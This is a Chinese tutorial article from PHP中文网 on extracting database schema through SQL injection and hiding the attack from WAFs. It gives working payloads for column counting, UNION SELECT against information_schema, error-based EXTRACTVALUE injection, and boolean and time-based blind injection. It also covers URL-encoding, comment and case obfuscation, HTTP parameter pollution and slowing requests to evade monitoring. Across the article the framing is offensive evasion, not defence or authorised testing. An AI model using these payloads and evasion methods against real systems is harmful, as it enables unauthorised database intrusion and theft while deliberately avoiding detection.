如何通过SQL注入提取数据库结构？隐藏元数据的技巧-SQL-PHP中文网

答案：通过SQL注入提取数据库结构需利用元数据系统如information_schema，结合UNION SELECT获取数据库名、表名和列名；为绕过WAF和隐藏痕迹，可采用盲注、错误注入、编码混淆、注释分割、大小写变异、HTTP参数污染及时间延迟等技术，逐步探测并提取信息，同时降低被检测风险。

如何通过sql注入提取数据库结构？隐藏元数据的技巧

通过SQL注入提取数据库结构，核心在于利用数据库的元数据信息系统，例如MySQL的

information_schema

登录后复制

。这通常涉及构造

UNION SELECT

登录后复制

查询来从这些系统表中检索数据库名、表名和列名。至于隐藏元数据提取的技巧，它更多是关于如何绕过安全防护（如WAF）和避免留下明显的攻击痕迹，这需要结合盲注、错误注入、编码混淆以及利用数据库特定功能等多种策略。

解决方案

说实话，要通过SQL注入提取数据库结构，最直接也最常用的方法就是利用数据库自带的元数据信息。以MySQL为例，

information_schema

登录后复制

这个数据库简直就是个宝库，里面包含了当前用户有权限访问的所有数据库、表、列等信息。

具体怎么操作呢？

确定注入点和列数： 这是老生常谈了。你得先找到一个能被注入的参数，比如
```
id=1
```
登录后复制
。然后，用
```
ORDER BY
```
登录后复制
或者
```
UNION SELECT NULL, NULL...
```
登录后复制
来猜解原始查询的列数。假设我们发现是3列。
```
# 猜解列数
ORDER BY 10 --+ (如果报错，说明没有10列)
ORDER BY 3 --+ (如果正常，说明至少有3列)
```
登录后复制
定位可显示列： 接下来，我们需要知道哪一列的数据会显示在页面上。这通常通过
```
UNION SELECT NULL, '可显示', NULL
```
登录后复制
这样的方式来测试。如果“可显示”这个字符串出现在页面上，那你就找到了。
```
# 假设第2列是可显示的
-1 UNION SELECT NULL, 'Hello World', NULL --+
```
登录后复制
提取当前数据库名： 有了可显示列，我们就可以开始提取信息了。首先是当前数据库名。
```
-1 UNION SELECT NULL, DATABASE(), NULL --+
```
登录后复制
提取所有表名： 知道了数据库名，下一步就是获取这个数据库下的所有表名。
```
information_schema.tables
```
登录后复制
表是关键。
```
-1 UNION SELECT NULL, GROUP_CONCAT(table_name), NULL FROM information_schema.tables WHERE table_schema = DATABASE() --+
```
登录后复制
这里用
```
GROUP_CONCAT
```
登录后复制
是为了把所有表名拼接成一个字符串，方便一次性获取。
提取特定表的列名： 假设我们通过上一步得到了一个名为
```
users
```
登录后复制
的表，现在我们想知道它有哪些列。
```
information_schema.columns
```
登录后复制
表就派上用场了。
```
-1 UNION SELECT NULL, GROUP_CONCAT(column_name), NULL FROM information_schema.columns WHERE table_schema = DATABASE() AND table_name = 'users' --+
```
登录后复制

通过这些步骤，你就能把数据库的结构一步步摸清楚。但问题是，这种方法太“标准”了，也很容易被检测到。

为什么传统的

information_schema

登录后复制

查询会暴露攻击意图？

在我看来，传统的

information_schema

登录后复制

查询之所以会暴露攻击意图，核心原因在于它的“模式化”和“高频性”。你想想，一个正常的Web应用，它会频繁地去查询

information_schema.tables

登录后复制

或者

information_schema.columns

登录后复制

吗？通常不会。应用在启动时或者配置变更时可能会读取一次，但在用户日常操作中，这些查询几乎是闻所未闻的。

这就给安全防护系统（比如WAF，Web应用防火墙）和IDS（入侵检测系统）提供了一个非常明显的“指纹”。WAF的规则库里，大概率会把

information_schema

登录后复制

、

table_name

登录后复制

、

column_name

登录后复制

这些关键字组合标记为高危。只要你的请求里出现了这些东西，并且结合了

UNION SELECT

登录后复制

、

OR

登录后复制

、

AND

登录后复制

等常见的注入关键字，WAF几乎是瞬间就能识别出来，然后把你这个请求给拦截掉，甚至直接封禁你的IP。

更糟糕的是，很多数据库系统，特别是像MySQL这样的，它的

information_schema

登录后复制

是所有用户都可以访问的（尽管权限不同），这意味着攻击者不需要特别高的权限就能尝试查询。这种“方便”反而成了它容易被检测的弱点。对我来说，这就像是你在一个黑暗的房间里，突然打开了一盏聚光灯，所有人都知道你在那儿了。所以，直接、粗暴地使用

information_schema

登录后复制

，在有WAF保护的环境下，成功率其实非常低。

在没有

information_schema

登录后复制

访问权限或被过滤时，如何绕过限制获取结构信息？

这确实是实战中经常遇到的难题。当

information_schema

登录后复制

被WAF过滤，或者更极端的情况是，数据库用户权限不足以访问它时，我们得想点“野路子”了。这玩意儿需要更多的耐心和技巧，但并非无解。

首先，错误注入（Error-based Injection）是一个很有效的替代方案。很多数据库在处理某些不规范的SQL函数或类型转换时，会把错误信息直接抛出来，而这些错误信息里往往包含了我们想要的数据。比如在MySQL中，

EXTRACTVALUE

登录后复制

或

UPDATEXML

登录后复制

函数在处理非XML格式的数据时会报错，并且会把你想查询的数据作为错误信息的一部分显示出来。

# 假设我们想获取第一个表名，但information_schema被过滤
# 尝试利用错误信息：
-1 UNION SELECT NULL, EXTRACTVALUE(1, CONCAT(0x3a, (SELECT table_name FROM information_schema.tables LIMIT 1))), NULL --+

登录后复制

你看，即使

information_schema

登录后复制

这个字符串被过滤，我们也可以尝试用其他方式来构造查询，让结果通过错误信息返回。如果连

information_schema

登录后复制

都完全不能用，那我们就得靠猜了。很多系统会有默认的表名，比如

users

登录后复制

、

admin

登录后复制

、

products

登录后复制

、

articles

登录后复制

等等。我们可以尝试去查询这些猜测的表名是否存在，或者它们的列名。

即构数智人

即构数智人是由即构科技推出的AI虚拟数字人视频创作平台，支持数字人形象定制、短视频创作、数字人直播等。

查看详情

其次，盲注（Blind SQL Injection）是更隐蔽但效率低下的方法。它不直接显示数据，而是通过判断页面响应（布尔盲注）或响应时间（时间盲注）来逐字符、逐位地推断数据。

布尔盲注： 页面会根据条件真假显示不同内容。
```
# 检查第一个表名的第一个字符是不是'a'
AND (SELECT SUBSTRING(table_name, 1, 1) FROM information_schema.tables LIMIT 1) = 'a' --+
```
登录后复制
如果页面显示正常，说明条件为真；如果页面显示错误或不同，则为假。这样，你就可以逐个字符地猜解表名和列名。这非常慢，但几乎不会被检测到。

时间盲注： 页面响应时间会根据条件真假有所不同。

# 如果第一个表名的第一个字符是'a'，就让数据库延迟5秒响应
AND IF((SELECT SUBSTRING(table_name, 1, 1) FROM information_schema.tables LIMIT 1) = 'a', SLEEP(5), 0) --+

登录后复制

这种方法甚至比布尔盲注还要慢，但隐蔽性极强，WAF很难通过内容识别。

最后，利用数据库特定的系统视图也是一个思路。比如在PostgreSQL中，你可以查

pg_class

登录后复制

、

pg_attribute

登录后复制

等；在SQL Server中，有

sys.objects

登录后复制

、

sys.columns

登录后复制

等。这些视图的功能类似于

information_schema

登录后复制

，但它们的名称和结构在不同数据库中差异较大，有时可以绕过针对

information_schema

登录后复制

的特定WAF规则。攻击者需要对目标数据库类型有深入了解，才能利用这些“非标”的元数据视图。

进一步隐藏元数据提取痕迹的进阶策略有哪些？

要更进一步隐藏元数据提取的痕迹，这不仅仅是技术层面的操作，更像是一场心理战和绕过艺术。目标是让你的注入看起来不像注入，或者至少让自动化防御系统难以识别。

一个常用的策略是字符编码绕过。WAF通常会识别特定的关键字和模式。如果你能把这些关键字用不同的编码方式表示，WAF可能就傻眼了。比如，把

UNION SELECT

登录后复制

中的某些字符进行URL编码、Unicode编码，或者利用数据库支持的各种字符集转换。

# 混淆 information_schema
# 尝试使用编码或注释分割
# %20 是空格的URL编码
-1%20UNIO%4E%20SELECT%20NULL,%20GROUP_CONCAT(table_name),%20NULL%20FROM%20informa%74ion_schema.tables%20WHERE%20table_schema%20=%20DATABASE()--+

登录后复制

这里我故意把

登录后复制

编码成

%4E

登录后复制

，把

登录后复制

编码成

%74

登录后复制

，就是为了打乱WAF的签名匹配。

注释绕过也是屡试不爽的技巧。在SQL中，注释符（

/**/

登录后复制

、

--

登录后复制

、

登录后复制

）可以用来分割关键字，或者在关键字中间插入无意义的字符。

# 利用注释分割关键字
-1 UNION/**/SELECT NULL, GROUP_CONCAT(table_name), NULL FROM information_schema.tables WHERE table_schema=DATABASE()--+

# MySQL特有的内联注释，可以绕过一些WAF对空格的检测
-1 UNION/*!SELECT*/ NULL, GROUP_CONCAT(table_name), NULL FROM information_schema.tables WHERE table_schema=DATABASE()--+

登录后复制

/*! ... */

登录后复制

在MySQL中，如果感叹号后的数字版本号小于当前数据库版本，括号内的内容会被执行。这个特性经常被用来绕过WAF。

大小写混淆虽然简单，但对于一些不区分大小写的WAF规则来说，也可能有效。把

information_schema

登录后复制

写成

information_schema

登录后复制

，或者

UNION SELECT

登录后复制

写成

UNION SELECT

登录后复制

，有时候就能蒙混过关。

HTTP参数污染（HTTP Parameter Pollution - HPP）是另一种高级技巧。如果后端服务器或应用对重复的HTTP参数处理不当，你可以发送多个同名参数，把注入语句分割开来。例如：

?id=1&id=UNION&id=SELECT&id=...

登录后复制

。后端可能会将它们拼接起来，而WAF可能只检查第一个参数或以某种非预期的方式处理。

此外，时间延迟与随机化在时间盲注中至关重要。纯粹的

SLEEP(5)

登录后复制

很容易被行为分析系统识别为异常。如果能引入一些随机延迟，或者把一次完整的提取操作分散到数十甚至上百个请求中，每个请求只做一小部分判断，这样就能极大降低被发现的风险。这就像“蚂蚁搬家”，每次只带走一点点，让监控者难以察觉。

最后，有时候“隐藏”的最高境界是不通过SQL注入获取。如果能找到其他漏洞，比如文件读取漏洞（LFI/RFI），你可能会直接读取到配置文件，其中可能包含数据库连接字符串，包括数据库名、用户名、密码等。这虽然不是SQL注入本身，但最终目的都是获取元数据，而且这种方式可能更隐蔽、更直接。这需要攻击者跳出SQL注入的思维定式，从更广阔的攻击面去思考问题。

以上就是如何通过SQL注入提取数据库结构？隐藏元数据的技巧的详细内容，更多请关注php中文网其它相关文章！